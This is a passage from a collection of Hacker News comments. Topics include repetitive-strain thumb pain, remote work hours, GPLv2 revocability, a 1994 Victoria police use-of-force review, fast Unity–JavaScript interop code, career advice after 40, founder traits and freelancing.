of cryptocurrencies worth approximately US$27 million, which we suspect was caused by a hacker attack”—but I like the idea of “getting your Bitcoins stolen by hackers” as a recurring expense, and I expect to see a lot more of it as more crypto-related companies go public. |
Me and My Numb Thumb: A Tale of Tech, Texts and Tendons | Might as well share my story here in the hopes that it might be of use to someone else. Apologies for the length.<p>At the start of summer 2016 my phone screen broke, causing the bottom line on the keyboard to go black. This obviously led to a lot of mistakes which led to a lot of backspacing, and all this backspacing was done with my right thumb. It soon became quite sore, so I tried to even things out a bit, but then the same thing happened to my left thumb. I was solo-travelling up the west coast of the US at this point (I think it started/got very bad in Seattle) and when I made it to my friend in Vancouver I think it may have gotten a bit better from not using my phone as much. When I arrived home I sensibly topped it all off by, on my laptop, typing up every single one of my notes from the previous six years.<p>It then got so bad I would not want to put away the groceries and even holding a book was sore. The doctor was not particularly helpful, she even just literally Googled stuff in front of me and then printed out one of the pages... But she did prescribe some gel to apply on my hands that also didn't seem to have any effect. Your mileage my absolutely vary here though, but I would reckon that a Physiotherapist would be a better bet than a doctor (although you might as well go to both).<p>I was incredibly worried that I would not be able to complete the final year left in my degree. From sculpting to programming my hands were crucial to my being. So it was obviously quite distressing when they weren't functioning as intended.<p>Two years on though and I can say things have dramatically improved. While my hands are still not back to their former glory, they are not holding me back in any way. I finished my degree, got a paper into NIPS, and am now working very hard as the first engineer at Inscribe (YC S18) so there's nothing to fear.<p>Things I've tried that helped:<p>Minimizing phone usage as much as possible: If it can be done on a computer instead, do it on a computer.<p>Taking breaks<p>Minimizing mouse usage as much as possible: mainly done by using Vimium [0] and other keyboard shortcuts, but doing so is only good if you have an...<p>Ergonomic keyboard: I use the Microsoft Sculpt Ergonomic Keyboard [1] and find that the keyboard is great, but the mouse doesn't really help that much. A Kinesis keyboard might be even better but I have yet to try one.<p>A spiky yoga ball thing: Mine looks like [2] and is good for massaging my hands or forearms if they get sore.<p>Running my hands through the hot & cold taps can be nice the odd time for some relief.<p>There are also some other great suggestions in the comments<p>Things that I've tried that were probably not necessary/overkill:<p>Hot & ice water: I used to spend about and hour or two a day alternately soaking my hands in buckets of ice water and hot water. After I stopped I did not really notice any change, except in the rate I got through podcasts.<p>Avoiding anything using my hands: for a while I avoided the gym and anything using my hands, and this may have been warranted at the worst period, but after that I found that working out seemed to help a little bit, and even it didn't it's unhealthy not to. Deadlifts are very different from texting so I wouldn't worry too much about that.<p>Things I haven't tried that may help:<p>A wrist brace<p>Wristbands<p>Other points:<p>Cold definitely makes it worse: I remember one time in particular during my final year project where I had to program a drone outside in the middle of winter on my unergonomic laptop keyboard. Not fun.<p>This situation has massively heightened my sense for bad ergonomics. And in doing so, completely changed how I look at the design of technology, and a lot of common assumptions of technology in general. While I used to think the Apple keyboard was beautiful I now only consider its form aesthetic, while its function, and the object as a tool, is far from it. I care much less about a lot of the advancements in phones because I want to use mine as little as possible. And the startup trope of an office of people coding on couches, hunched over their laptops is now almost terrifying.<p>It's also amazing to note the sheer level of addiction a phone can create. Even though it is painful and I know it is, I still find it hard not to flick through stuff in the morning.<p>If anyone wants to talk more about this, my email is in my bio.<p>[0] <a href="https://chrome.google.com/webstore/detail/vimium/dbepggeogbaibhgnhhndojpepiihcmeb?hl=en" rel="nofollow">https://chrome.google.com/webstore/detail/vimium/dbepggeogba...</a><p>[1] <a href="https://www.microsoft.com/accessories/en-us/products/keyboards/sculpt-ergonomic-desktop/l5v-00001" rel="nofollow">https://www.microsoft.com/accessories/en-us/products/keyboar...</a><p>[2] <a href="https://image.dhgate.com/0x0/f2/albu/g5/M00/DB/D9/rBVaI1lklxSAAxycAAIrAaOeVAg243.jpg" rel="nofollow">https://image.dhgate.com/0x0/f2/albu/g5/M00/DB/D9/rBVaI1lklx...</a><p>EDIT: Another great way to avoid texting is to send voice messages or even better just call. But obviously these are not always possible. |
Ask HN: How do you decide when you've done enough work for the day? | As a remote developer, setting a schedule for yourself is really important -- at least when you are getting started. Once you have an established work pattern that you are happy with you can experiment to see how things work.<p>I recommend doing what you are doing until you feel like, "OK. I'm in a rhythm and things are going well." Perhaps you are already at that point.<p>Next, when you have one of those days where you are feeling good and want to continue, work an extra hour. Then play with how you are going to use that hour the next day. Will you start late, or leave early or have a long lunch, or whatever? Tell your coworkers that you're going to do it. "I worked late today, so I'm going to X tomorrow". This keeps them informed so that they don't panic if they are looking for your help the next day.<p>Evaluate the progress. Did it feel good to you? For example, starting late does <i>not</i> work for me. I'm a morning person and taking an hour or two off in the morning means that I will get started on my side projects... and never stop. Then I end up working my "day job" until midnight --- no good!<p>Also, evaluate the reaction on your team. Were they OK with your behaviour? Every team is different. It's important to try to work <i>with</i> the team and not just stubbornly go your own way. I've worked with people who have the attitude, "It's my right to do whatever I want. I'll come in at 2pm and leave at 4pm and make up the time when it suits me". I hate working with people like that because programming is a team sport and <i>I</i> have to accommodate your weird schedule.<p>I work time shifted by 9 hours from the rest of my team. I know it impacts them and I do whatever I can to help them -- including working late nights sometimes (even though I'm a morning person). But you do what you can. Some of my colleagues can't get up early in the morning, so I'm happy to accommodate them, just like they are happy to accommodate my choice to live on the other side of the world. There is a give and take there, and as long as you are aware of it (and not always taking), then I think it's fine.<p>Deciding whether or not to work late is always a judgement call. My advice is to consider 2 things.<p>1: Is it truly and emergency? The server is on fire and you are losing customers. Somebody needs to work on it. You should stay if at all possible. <i>Even staying around to provide moral support for your colleagues can make a big difference</i>. Sometimes there is nothing you can do, but if you hang around and read slack (or however you communicate) and make occasional comments, it can really help the team. Nothing is more lonely than sitting in front of a melting down server, not having a clue what to do and everybody has buggered off for beer.<p>Sometimes people <i>say</i> it's an emergency and it really isn't. In those cases, consider the cost of saying no. There <i>will</i> be a cost if someone asks (or hints strongly) for you to stay and you say no. It sucks. It's not what it should be. But it's very common. If you can afford to pay the price, then feel free to draw the boundary. If you can not, then do what you have to -- and then try to get yourself into a situation where you <i>can</i> afford to say no the next time.<p>2: If you just feel like working, then go for it. Keep in mind that this comes <i>after</i> you have established a "normal" working day for yourself <i>and</i> when you know how to take back the time later. But stopping yourself from having fun (even if it's making other people money) is just silly.<p>Always keep in mind your own health, though. When I was younger, I seemed to be able to work a lot of hours and still stay very energised. As I've gotten older, I can not longer do that. I have to pay attention to my energy level, because a 12 hour stint can wreck me for the next 2 days. That's no good for anyone.<p>Finally, I occasionally work a short day when I'm really not on the ball. Again, I confer with my colleagues before I make any decisions. People know I'm usually around between 9am and noon their time. Sometimes I need that time off and around 9am I say, "I'm not getting anything done today, so I'm thinking about packing it in for the day. Is there anything that somebody needs me to do before I go?" Sometimes there are <i>lots</i> of things, and I stay and do what I can -- which is good because that often makes me productive, when I wasn't before. But if there isn't anything pressing, I'll rest and be able to do a very productive day the next day. That kind of thing really depends on the team and the amount of trust everybody has in everybody else. It won't fly on some teams, but I work with a good team. |
Linux code contributions cannot be rescinded: Stallman | The software freedom conservancy has tendered its response:
<a href="http://sfconservancy.org/news/2018/sep/26/GPLv2-irrevocability/" rel="nofollow">http://sfconservancy.org/news/2018/sep/26/GPLv2-irrevocabili...</a>
<a href="http://copyleft.org/guide/comprehensive-gpl-guidech8.html#x11-540007.4" rel="nofollow">http://copyleft.org/guide/comprehensive-gpl-guidech8.html#x1...</a><p>""
"The GPLv2 have several provisions that, when taken together, can be construed as an irrevocable license from each contributor. "
""<p>It cites:<p><pre><code> " That license granted to downstream is irrevocable, again provided that the downstream user complies with the license terms: "[P]arties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance" (GPLv2§4). "
</code></pre>
However this is disingenuous<p>The full text of section 4 is as follows:<p>""
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
""<p>The "You" in section 4 is speaking of the licensee regarding sub-licensees, it is not speaking to the licensor/copyright-holder.<p>IE: if the licensee loses his license, through operation of the automatic-revocation provisions, the sub-licensees do not also lose their licenses.<p>IE: The language is disclaiming a chain topography for license distribution, and instead substituting a hub-and-spoke topography (all licenses originating from the copyright holder, not the previous-in-line)<p>GPLv3 added a no-rescission clause for a reason: the reason being to attempt to create an estoppel defense for the licensees against the licensor. You will notice that Eben Moglen never speaks on these issues. (He preumably is aware of the weaknesses vis a vis the US copyright regime.)<p>Section 6 further clarifies the hub-and-spoke model:
""
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
""<p>The memorandum posted then goes on to a discussion of estoppel, detrimental reliance, etc; noting that users may have relied on the software and their licenses may be estopped from being revoked from said users since doing so might cause them unanticipated loss. This is speaking of already published, existent, versions of the program used by end users.<p>The memorandum seems to ignore what happens to "upstream" once said project receives a revocation notice. Thought it may be possible that users of a published piece of software may have defenses to license revocation, the same is not true regarding the rescinded property vis-a-vis future prospective versions of the software nor of future prospective licensees of said software.<p>That is: once the grant to use the code in question is rescinded, future versions of the software may not use that code. Current users of the software may be-able to raise an estoppel / detrimental reliance defense regarding the current published software, however the programmers working on the next version of said software cannot continue to use the property in future versions of the software (such would be a copyright violation once the gratuitous license is rescinded by the grantor).<p>Additionally, prospective-licensees, once the grant was rescinded and such was published, would have no same-such estoppel defense (not being user-licensees at the time of revocation).<p>(Ignoring this eventuality in the published memorandum, is, of-course, by design.)
(Now, to note: the free-software movement is focused on the freedom of the user, not the progenitors of the software, so one could certainly say that ignoring some developer-focused analysis is consistent with their prerogative...)<p>--------------------
--------------------<p>Gnu GPL version 2, section 0:
"Each licensee is addressed as "you". "<p>The "you" is not referring to the licensor (copyright owner). It is referring to the licensees and then future sub-licensees/additional-licensees receiving the work from said previous licensee.<p>It is independently clear from the context of the clauses if you read them in full.<p>...and then section 0 comes around and makes it _explicit_ that "you" refers to the licensee. (if you had any doubt)<p>Additionally, you should know that the copyright owner is not bound by the gratuitous license he proffers to potential licensees regarding his property. The licensees are bound to his terms: he is the owner. They take at his benefaction.<p><blockquote>
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION<p><pre><code> 0. This License applies to any program or other work which contains</code></pre>
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
</blockquote> |
Don't shoot, I'm disabled | Here is an exert from one state in Australia's police force review from 1994.<p>This took place _24_ years ago. Even though it was so long ago, it seems to directly reflect issues mentioned in the article.<p>For the TLDR crowd:<p>* Too much force was being used by police<p>* Mental illness was a factor in some shootings / use of force (4%)<p>* Standardised training for all police members<p>* Safety first approach taken:<p>* - Safety of offender is included in that approach (officers first, public next, offender third)<p>* - Contain first, avoid confrontation, avoid force<p>* - If needed only use minimum force required<p>* - Forced entry only as last resort<p>* All police undertake mandatory 5 day mental health training<p>* Police to take refresher mental health training every 6 months<p>* Any use of force - from minor (forced fingerprinting/cuffing) through to major (riots) - to be placed on register for tracking<p>* Increased trends noticed in force register will be addressed in 6 monthly training<p>-------------------------<p>3. Project Beacon<p>The establishment of Project Beacon followed a number of shooting incidents involving the use of firearms by the Victoria police. Between 1987 and 1994, officers were involved in operational incidents which resulted in the deaths of 29 offenders or suspects. Police were required to attend 15 to 20 incidents per day where use of force was employed and up to three "critical incidents" per week. A critical incident is defined as "any incident requiring police management which involves violence or a threat of violence and is, or is potentially, life-threatening". By mid-1994 this trend became the catalyst for fundamental change in operational safety tactics and training within the Victoria police. Expert analysis revealed that a number of factors may have contributed to this increase; namely, a feeling of vulnerability within the police force, a desire on the part of the community for instant solutions and a belief within the force that "there was no one else to solve these problems".<p>It was also felt that this trend was in part contributed to by the de-institutionalisation of patients with mental illness in Victoria in the early 1990s. Six of nine fatal shooting incidents in 1994 by police (and one in 1995) involved persons with a mental illness. Statistics revealed that such persons were involved in 44% of all critical incidents reported to Project Beacon between October, 1994 and December, 1995. It was further noted that persons with mental illness were involved in approximately 4% of all "use of force" incidents, i.e., where force is used or threatened by or against the police. Emotionally disturbed persons attempting suicide and/or self-mutilation constituted a further 3.5% of use of force incidents. In general, a significant number of emotionally disturbed persons and people with behavioural problems, who may not have had histories of mental illness, regularly came to the police attention.<p>A number of reviews, both internal and with the assistance of international policing experts, were undertaken in an attempt to identify solutions. On 6th April, 1994, the Commissioner of the Victoria police, Mr. Neil Comrie, wrote to all commissioned officers emphasising the philosophy that "the success of an operation will primarily be judged by the extent to which the use of force is avoided or minimised".<p>On 19th September, 1994, Project Beacon was established and involved the standardisation of training so that all officers were trained to the same level of competence. The core principles of Project Beacon inform the response to every incident and the planning of operations which may involve any potential use of force. These core principles may be summarised as follows:<p>* "Safety First — the safety of police, the public and the offender or suspect is paramount.<p>* Risk Assessment — is to be applied to all incidents and operations.<p>* Take Charge — effective command and control must be exercised.<p>* Planned Response — every opportunity should be taken to convert an unplanned response into a planned operation.<p>* Cordon and Containment — unless impractical, a cordon and containment approach is to be adopted.<p>* Avoid Confrontation — a violent confrontation is to be avoided.<p>* Avoid Force — the use of force is to be avoided.<p>* Minimum Force — where the use of force is to be avoided, only the minimum amount reasonably necessary is to be used.<p>* Forced Entry Searches — are to be used only as a last resort.<p>* Resources — it is accepted that the "safety first" principle may require the deployment of more resources, more complex planning and more time to complete".<p>The primary principle of Project Beacon is "safety first". The safety of the police officer is paramount, followed by the safety of the public and the safety of the subject. Mr. Shuey utilised the example of a doctor attending a collision to treat a patient: "the doctor wouldn’t stand in the middle of the road to do the treatment of the patient because he would be exposing himself to the risk of being run over by a car". If the police officer is in a position of security, he or she will be more competent and capable of handling the situation. If a police officer is not involved in anything which is unsafe, he will have a clearer perspective of what is happening and be able to deal with the situation accordingly. If you expose a police officer to a "kill or be killed" situation, the risk of a fatal confrontation increases.<p>A significant objective of Project Beacon was to assist police in dealing with persons with mental illness, emotionally disturbed individuals and persons with behavioural problems. Project Beacon, in collaboration with the Victoria Department of Health and Community Services, developed a comprehensive integrated approach for dealing with such persons which was incorporated into police training courses. The training involved video scenarios and role-playing and in December, 1995, a video called "Similar Expectations" was produced. It offered a range of methods for dealing with persons with mental illness, and provided advice from mental health experts. The video received widespread acceptance in law enforcement and mental health agencies and was automatically incorporated into every police officer’s training; it was not confined to the training of those who participated in dedicated negotiators courses. Further training programmes were developed by persons with expertise in psychiatric mental health with the assistance of a police psychologist.<p>8,500 police officers, student and operational, were placed on an initial, five day training course complemented by mandatory two-day refresher training every six months. It is now part of ongoing training of police officers in the state of Victoria. Training for the Special Operations Group is rigorous and ongoing, taking place on most occasions when its members are not involved in operational response duties.<p>A "use of force register" is now maintained by the Victoria Police. Use of force incidents range from the forcible obtainment of fingerprints and handcuffing, through to riot situations. All such incidents are recorded in the register. This enables the police force in Victoria to track the number of incidents where force is a factor, and enables trend analysis in relation to the type of force and weapons that are used. This acts as a "catalyst" for the next six months of training. The information is analysed and if there is an excessive increase in crimes involving firearms or knives etc., the training in the following six months will be highlighted in that direction. |
Calls between JavaScript and WebAssembly are finally fast | Firefox loads and runs Unity3D WebGL apps MUCH faster than Chrome.<p>The point of UnityJS is to tightly and efficiently integrate Unity3D and JavaScript, so it does a lot of JavaScript <=> C# calls, and I'm looking forward to it getting even faster!<p><a href="https://github.com/SimHacker/UnityJS" rel="nofollow">https://github.com/SimHacker/UnityJS</a><p>You can pass delegates to C# functions that are directly callable into JavaScript using some magic PInvoke attributes and the Unity Runtime.dynCall function.<p>Declare a delegate that describes the signature of your C# function you want to call from JavaScript:<p><a href="https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Assets/Libraries/UnityJS/Scripts/BridgeTransportWebGL.cs#L35" rel="nofollow">https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Ass...</a><p><pre><code> public delegate int AllocateTextureDelegate(int width, int height);
</code></pre>
Then declare a C# static method with the MonoPInvokeCallback attribute, to implement you C# function:<p><a href="https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Assets/Libraries/UnityJS/Scripts/BridgeTransportWebGL.cs#L82" rel="nofollow">https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Ass...</a><p><pre><code> [MonoPInvokeCallback(typeof(AllocateTextureDelegate))]
public static int AllocateTexture(int width, int height) { ... }
</code></pre>
Then pass those specially marked delegates to JavaScript and stash them in JS variables when you initialize (it doesn't work unless you use the magic MonoPInvokeCallback attribute):<p><a href="https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Assets/Libraries/UnityJS/Scripts/BridgeTransportWebGL.cs#L48" rel="nofollow">https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Ass...</a><p><pre><code> [DllImport(PLUGIN_DLL)]
public static extern void _UnityJS_HandleAwake(AllocateTextureDelegate allocateTextureCallback, FreeTextureDelegate freeTextureCallback, LockTextureDelegate lockTextureCallback, UnlockTextureDelegate unlockTextureCallback);
</code></pre>
<a href="https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Assets/Libraries/UnityJS/Scripts/BridgeTransportWebGL.cs#L175" rel="nofollow">https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Ass...</a><p><pre><code> public override void HandleAwake()
{
//Debug.Log("BridgeTransportWebGL: HandleAwake: this: " + this + " bridge: " + bridge);
_UnityJS_HandleAwake(
AllocateTexture,
FreeTexture,
LockTexture,
UnlockTexture);
}
</code></pre>
In the awake function on the JavaScript side of your Unity WebGL extension (a .jslib file), wrap the C# delegate in a JavaScript thunk that calls into it via Runtime.dynCall:<p><a href="https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Assets/Libraries/UnityJS/Plugins/WebGL/UnityJS.jslib#L11" rel="nofollow">https://github.com/SimHacker/UnityJS/blob/master/UnityJS/Ass...</a><p><pre><code> // Called by Unity when awakened.
_UnityJS_HandleAwake: function _UnityJS_HandleAwake(allocateTextureCallback, freeTextureCallback, lockTextureCallback, unlockTextureCallback)
{ [...]
function _UnityJS_AllocateTexture(width, height)
{
//console.log("UnityJS.jslib: _UnityJS_AllocateTexture: width: " + width + " height: " + height + " allocateTextureCallback: " + allocateTextureCallback);
var result = Runtime.dynCall('iii', allocateTextureCallback, [width, height]);
//console.log("UnityJS.jslib: _UnityJS_AllocateTexture: result: " + result);
return result;
};
window.bridge._UnityJS_AllocateTexture = _UnityJS_AllocateTexture;
</code></pre>
Then you can call the C# method from JavaScript:<p><a href="https://github.com/SimHacker/UnityJS/blob/f0a4e1fb07fd9e8aaba2849fefd1d2239c262a97/UnityJS/Assets/StreamingAssets/game.jss#L348" rel="nofollow">https://github.com/SimHacker/UnityJS/blob/f0a4e1fb07fd9e8aab...</a><p><pre><code> params.cache.backgroundSharedTextureID = id =
window.bridge._UnityJS_AllocateTexture(params.width, params.height);
</code></pre>
This is zillions of time faster and more flexible than using Unity's terrible SendMessage technique to send messages from JS=>C#, whose only parameter is a single string, and which inefficiently dispatches messages by looking up Unity objects by name, and is asynchronous and can't return a result.<p>I use this technique to efficiently copy binary textures and arrays of numbers between JavaScript and C#. MUCH better than serializing it as JSON, or base 64 encoded PNG files in a data: url (yuck!).<p><a href="https://github.com/SimHacker/UnityJS/blob/674eda49be12a7081205b6af4bf3986cb76ac7d7/UnityJS/Assets/StreamingAssets/game.jss#L382" rel="nofollow">https://github.com/SimHacker/UnityJS/blob/674eda49be12a70812...</a><p><pre><code> function DrawToCanvas(params, drawer, success, error)
{ [...]
var id = params.pie.backgroundSharedTextureID;
if (!id) {
params.pie.backgroundSharedTextureID = id =
window.bridge._UnityJS_AllocateTexture(params.width, params.height);
//console.log("game.js: DrawToCanvas: WebGL: AllocateTexture: width: " + params.width + " height: " + params.height + " id: " + id);
}
var imageData =
context.getImageData(0, 0, params.width, params.height);
window.bridge._UnityJS_UpdateTexture(id, imageData);
texture = {
type: 'sharedtexture',
id: id
};
success(texture, params);
canvasNode.parentNode.removeChild(canvasNode);
</code></pre>
This lets me draw 2D user interface stuff, pie charts, diagrams, data visualizations, etc, in JavaScript with canvas, d3, or whatever library I like, and then efficiently use those images in Unity3D as user interface overlays, 3D textures, etc. It works great, and it's smooth and interactive, mixing up 2D canvas graphics with 3D Unity stuff!<p>Unity is sorely lacking a decent 2D drawing library like canvas, not to mention fancy stuff built on top of it like d3.<p>I'm currently working on the plumbing to send binary arrays of floats from JavaScript to Unity, so I can pass them right into shaders!<p>Here's some discussion about the magic MonoPInvokeCallback attribute:<p><a href="https://forum.unity.com/threads/monopinvokecallback-in-unity.132510/" rel="nofollow">https://forum.unity.com/threads/monopinvokecallback-in-unity...</a><p>And about Unity.dyncall and the WebGL runtime:<p><a href="https://forum.unity.com/threads/c-jslib-2-way-communication.323629/" rel="nofollow">https://forum.unity.com/threads/c-jslib-2-way-communication....</a><p>and:<p><a href="https://forum.unity.com/threads/super-fast-javascript-interaction-on-webgl.382734/" rel="nofollow">https://forum.unity.com/threads/super-fast-javascript-intera...</a> |
Ask HN: 40+ Career Advice? | I'm 50 and work remotely from rural Japan. I work with a good team and I genuinely like the people I work with. I'll try to respond to each of the points you make in relation to my job:<p>- I work from home. My wife volunteers most days so I have the place to myself most of the time. However I work in Japan and my colleagues are in the UK, so this means I often work nights. In our small apartment, it's hard to separate myself from what my wife is doing. I try my best to do work where I need to concentrate during the day and then collaborate with people during the evening. It's hard to juggle, though.<p>- These days lots of companies are doing office work with work at home a few days a week. We do that, but because the company is growing fast, we ran out of desks. This means that people <i>mostly</i> work at home and hot swap when then are in the office. The hot swapping is actually a real sore point with people as they like to have their own space at work, but you can imagine that it's hard for the company to justify having a floor 3/4 empty most of the time. Still, before I moved back to Japan, I did the WFH one or two days a week and IMHO, if you are close to your office this is really ideal -- lots of opportunity to collaborate and lots of opportunity to put your head down. In that kind of environment, <i>personally</i> I'm happy to have open office, hot swap setup. I differ from many people ;-)<p>- Meetings are a function of company culture. Some companies value them, some do not. I once worked in a company and my manager asked me what I'd like from him (NB: managers, please do this!) I said, I don't ever want to go to a meeting. Can you go to all my meetings and send me a quick email with the result? He said, No problem! (Best manager <i>ever</i>) When you are shopping for jobs, make sure to ask about what kinds of meetings people have and why they have them. I like companies where meetings are for disseminating information to large groups of people. I dislike companies where meetings are for collaboratively coming up with a solution. Other people like the opposite. Know what you want and find a compatible group to work with.<p>- Incompetent managers. Sorry, no panacea for this one. Most managers are terrible (sorry, but it's truly how I feel). It's a massively hard job, people are not trained for it and often people get into management because they want to bully people into doing what they say. I want a manager who feels their job is to remove obstacles from me so that I can concentrate on work (see point above). 90% of the time I don't get managers like that. It's hard for me to complain too much because <i>I</i> don't want to be a manager, even though I am very opinionated about what managers should do. Again, pre-screen your prospective employers. Specifically ask your potential manager what they think a manager should be doing. I've never met a manager who would lie about that.<p>- Colleagues: Let me preface this by saying again, I like my current colleagues. As I get older, though, it gets pretty difficult. I'm the oldest person in the IT department at my company. I'm double the age of most of the people (we have a lot of junior people). I remember talking to a colleague about Tenerife because we had both vacationed there. It's an amazing place, but my colleague said that they didn't see any of it because they spent an entire week in night clubs. All of the other people listening to our conversation murmured with great appreciation. The industry is growing rapidly so as you get older you often become a minority. Even though you were there first, it's <i>you</i> that is the "foreigner" in the group (me, especially, LOL). You have to adapt to that culture rather than expecting people to adapt to your culture. For me, that's extremely difficult. Having said that, I have worked in a small startup where nobody was under the age of 35 (and we even had a guy in his 60's) -- <i>I</i> was the baby in that group! There <i>are</i> some founders who want only experienced people and are willing to pay extra money up front to get it. Reach out through your contacts because probably you can find them.<p>Now, I really like working the way I work (and the day after tomorrow I'm actually going to the UK to meet and greet with the team, which I'm super excited about!) However there are tons of downsides.<p>- Working remotely for a non-remote team means that there is a definite power differential. People who see each other in person regularly naturally have a better rapport. As a remote person, you're always a bit of an outsider. It's easy for people to forget about including you in discussions (especially if you are in a different time zone!) There are sometimes bad actors in companies too and if someone decides to <i>intentionally</i> lock you out of decisions, there is practically nothing you can do about it. You are at the mercy of others. I spend a <i>lot</i> of my energy trying to keep my relationships working well at work -- tons more than I would need to if I worked in the office. That's why 3 days in 2 days WFH is such a nice setup (and really, I think all companies should do something similar for programmers).<p>Working remotely and solo is a huge risk. However, if you want to take on that risk, 40 is a really good time to do it. At 50, I've got 15 years left of my career. I need to save for retirement (and I admit to neglecting that in order to traipse around the world doing strange things). I've got savings, but if I was out of work for a year or two, it would be rather bad for me. At 40 (or earlier) you can take that risk a lot more easily because you can then put your head down and do less risky things when you are older if you need to (like me).<p>Especially since you are relatively young (still 25 years left of work!) and you have no children, you are pretty flexible. Earlier I've been pointing out the need to keep thinking about the work environment when interviewing. If work environment is very important to you, make sure that you value that <i>yourself</i>. Don't take a job for more money that has a worse environment. Maybe there's a jerk that you have to work with, but you can still get your job done acceptably -- don't give up that job. No job is going to be perfect, so make sure you prioritise things appropriately.<p>If I were you, the strategy I would probably employ (because I'm hugely risk averse) is to find a job with part time WFH that has the option to lead to full time remote. Get a couple of years of experience with working from home (and at least 6 months of full time remote). Then toy with the idea of doing solo consulting (ideally fully remote). As you are learning to work remotely, go to meet ups, etc to make contacts so that you have an avenue for solo consulting. This may mean moving to a fairly large city if you don't already live in one. Try out selling yourself and seeing if you have the character to do that (because not everyone can be successful in that regard, and being solo means you don't have anyone else to lean on). And finally, don't panic. You have lots of time to sort this out. Good for you thinking about it now -- take a few years trying different things and seeing how they work out. But don't procrastinate. This is your time for exploring -- if you wait until you are 50, it gets much scarier (believe me!) |
Ask HN: Personality traits of a founder? | Not all "founders" are created equal, so take what I'm about to share with as many grains of salt as need. I'm the founder of a marketing consultancy (UpBuild if you want to look it up) and I've grown it to $1MM in annual revenue with a team of 10. I'm fascinated by people who build SaaS or other product companies, but my experience with being that type of founder is limited.<p>So here goes:<p>1) Intrinsic Motivation: External motivation is easy to come by and can just as easily vanish or simply be forgotten. Building a company in order to make money, seize a market opportunity, or earn recognition is fine and can get you by for a time, but when times get tough and the road ahead isn't clear you need to be able to rely on your own internal motivation to get you through. If you have a reason, deep in your bones, that you _need_ to be a founder, to build a company, and to solve a specific problem for a specific person, then that's a great trait to have.<p>2) Being Able to Make Decisions & Change Your Mind: As a founder, you have to make decisions. Lots of them. Every day. Sometimes they're little ones (ideally you delegate more and more little decisions as you build out a team) and quite often they're big ones that could potentially crater your whole company. As a founder, you need to be able to stand behind your decisions and justify them (AKA, sell them) to your team. On the other side of the coin, you have to be able to change your mind based on new data and/or perspectives. Being able to accept a variety of data points, assimilate that information, and make a clear decision is key.<p>3) The Ability to Step Back: This is the biggest thing I've had to develop in myself. The ability to take a step back, get out of the day-to-day thinking, and consider how the company's activities today are contributing toward what you want the company to turn into in 3/5/10 years. If you suddenly face a large setback, you have a lot of options open to you but you have to identify which ones will both solve your short-term problem but also keep you on the path to building what you set out to build.<p>4) Committing to Doing Your Job: Sometimes, you just have to be able to commit to doing your freaking job. You're the founder and that job description is going to change over time. In the first 6-12 months, you might be doing everything. But, as you grow and hire people to help you, you've gotta stop trying to do everything and be involved in every aspect of your business. There comes a time when you have to get out of the weeds because that's just not your job anymore. I see a lot of founders who can't make that shift to the detriment of their companies.<p>Those are some of the traits that I think a founder would be blessed to have, though there are many more to be sure. I think the important thing to consider is that there's no model. There's no recipe where traits X + Y + Z == A Great Founder. If a would-be founder reading this entire thread has no trait other than Intrinsic Motivation, I think that person has a shot at being a successful founder.<p>For me, it's been about seeing what common traits there were among successful founders and deciding,<p>A) which of those traits I could adopt or develop,
B) which of the traits I could ignore because I didn't have them, and
C) which of the traits I could hack my way into or around.<p>This thread is very timely because I'm in the middle of writing a blog post about how to lead a company as an extremely introverted Type B person. At the start of my personal journey as a founder, I didn't think that I had any of the traits that successful founders had. I wasn't competitive, I wasn't outgoing, I wasn't able to burn the candle at both ends, I was absolutely terrified of sales calls and presentations, etc. Let me be clear — none of that has magically changed over the last three years. But I figured out how to fake it with some of those things and/or develop a hack for it (e.g., I only schedule presentations and sales call at specific times in the day when my social energy is high enough and I consider the whole exercise to be like stepping on stage and playing a role for an hour; I don't have the trait of being outgoing and comfortable talking to people, but I've figured out how to play that role well and it works). Would someone who inherently has these traits have an easier time and see more success than I have? Possibly. But I have that Intrinsic Motivation (and I can't get rid of it!) so I'm going to find a way to make it work with what I have. |
Ask HN: Pros and cons of working as a freelancer? | I will answer your questions from I have personally experienced while doing freelance work or what I call “IT mercenary work”, That I have obtained over the last 20 years roughly.<p>1. Exposure to a diverse set of work environments;
Yeah, you can encounter different work environments if you’re required to go on site. Most of the work I done as freelance has always been remote so I rarely have to go on site unless it's like some sort of recovery effort or investigation of sorts. I do know there is far more red tape involved when someone brings you on 1099 contractor in a large corporation vs a startup. I generally find startups to be more ideal as they are normally pretty chill and upbeat. I enjoy working with people who love what they’re doing and their product or service. Then going into a business that is confused to why your even there, and or the company is doing bad to the point that none of the original staff wants to give any information about their own network or systems. This happens in places that fear the outsider and want to sabotage you and your efforts. Mostly, if they fear losing their jobs. I generally always be as natural as possible to avoid any tension between whatever drama there may be going on in the company.
2. Exposure to a diverse set of technologies and domains;
This can be true if your freelance is wide spread, doing work on Linux/MacOS/Windows, then you will get exposure to a lot of different technologies vs just freelancing in a focus skill like say UI interface development. I personally have worked in various areas of freelance from many different types of industry. It can be rewarding to work with some areas of technology that is on the cutting edge, like one freelance job was to assist a group setting up antminers for mining crypto currency.
3. Finding work when starting out is difficult;
It can be, but I found Linkedin and dice have proven to be pretty awesome at providing job offers, there are also freelance boards to do one hit wonders like coding jobs to write something for someone. I have seen tons of them for web development.
4. Finding work becomes progressively easier;
